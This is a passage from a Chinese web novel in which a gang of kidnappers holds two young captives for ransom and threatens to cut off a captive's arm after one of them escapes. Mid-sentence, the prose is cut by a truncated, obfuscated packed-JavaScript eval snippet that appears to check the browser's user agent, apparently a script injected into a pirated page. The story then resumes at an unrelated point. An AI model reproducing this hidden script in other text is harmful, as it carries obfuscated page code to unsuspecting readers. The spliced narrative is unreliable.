再细细琢磨他们古怪的行径,和老五与老三那番话。 随即跳出一个可怖的结论。 那十万两的赎金恐怕不是他们的最终目的。 老三被他一时震慑住了,却并不代表他不会再次对谢柔徽出手。 与其受尽凌辱而后惨死在乱刀之下,不如拼一把。 谢柔徽记住其中细节,点了点头,配合地闭上眼睛。 柳显章扬声道:“我要如厕!” 老三烦躁地一把将木棍摔到地上,“你一晚上跑几回了?他妈的你个小兔崽子是在故意折腾老子吧?” “你若不愿,那我就在这处解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老三,我将人交给你,这才两天不到的时间就跑了一个人,还是那个又瘦又小的丫头片子,老三啊,你做得可真不错。” 最后几个字愈发阴沉,透着令人胆寒的气息。 老三唯唯诺诺道:“都是老五偷懒睡觉,对了!还有这个小兔崽子,都是他,转移我的注意力,我一时掉以轻心才上了他的当!” “啪——!” 似是老大一掌扇倒了他。 老三声音霎时低了几分,“老大您打得好,都怪我有眼无珠,真是没用,老大您再多打我几巴掌,您打得好。” 老大已懒得理睬他,“待会儿再与你算账。你们几个去追,她一个女孩脚程快不了,而且夜这么黑,她没个照明,肯定躲在哪个地哭呢。” 他顿了顿,却转向另一个方向,“至于你……” 他的语气温和,又实在可怖,“哈哈,你可真是无私,宁愿牺牲自己也要救了那女孩,不错,是个爷们。” 那语气中有淡淡的赞赏,但话锋一转,冷厉道:“不过,柳大公子你要明白,出门在外要讲规矩,咱们这行不容易,你放跑了一个人,导致咱们又得另换驻地,造成的麻烦就不说了,今日我先断你一臂,如此也公平了。” “将刀拿来。” 老三殷勤地献上短刀,“在这在这。” 老大笑道:“嚯!这刀钝了啊!老三你也忒懒,记得磨刀,不过这次大公子有的苦吃了。” “将他的手按在桌子上!” 几人搬运桌子,“砰!”地放到地上。 谢柔徽脑中乱作一团,却久久听不到柳显章的声音。 老大赞叹道:“不错,是个聪明人,知道跟我们求饶也没用,索性一句话也不说,我向来佩服大公子这般品行高洁的人,若不是迫不得已,也不想如此,你放心,我手底下的人有轻重,止血药也管够,必不会让你丧命的。” “动手吧。” 简短的三字蹦出,谢柔徽几乎魂飞魄散。 一瞬间,什么计划,什么逃亡,什么利弊选择,通通都被抛之脑后。 她用了比钻进来时快了三倍的速度出去。 即使那尖锐的茬子将她剐蹭得遍体鳞伤。 “大当家!” 所有人转移目光,震惊地看着那个如同鬼魂般再度出现的女孩。 谢柔徽气喘吁吁,不去看柳显章的表情,盈盈一笑:“我没逃走,就是太害怕了躲在了后面,你若实在气不过,便罚我好了,我哥哥他什么也不知道,你若为了这个断他一掌,那他可就太冤了。” 其余人尚且搞不清状况,老大却已经付诸实践。 他从篝火中捞起一条木柴,大步走来,撩起破旧的幔帐,借着火光细细查看,很快就明白了谢柔徽为何会消失,然后又不声不响的突然出现在他们面前。 他猛地举起一条凳腿,力逾千钧地砸下去。 顷刻间,中空的佛像轰然碎裂,寓意不详地彻底倒塌。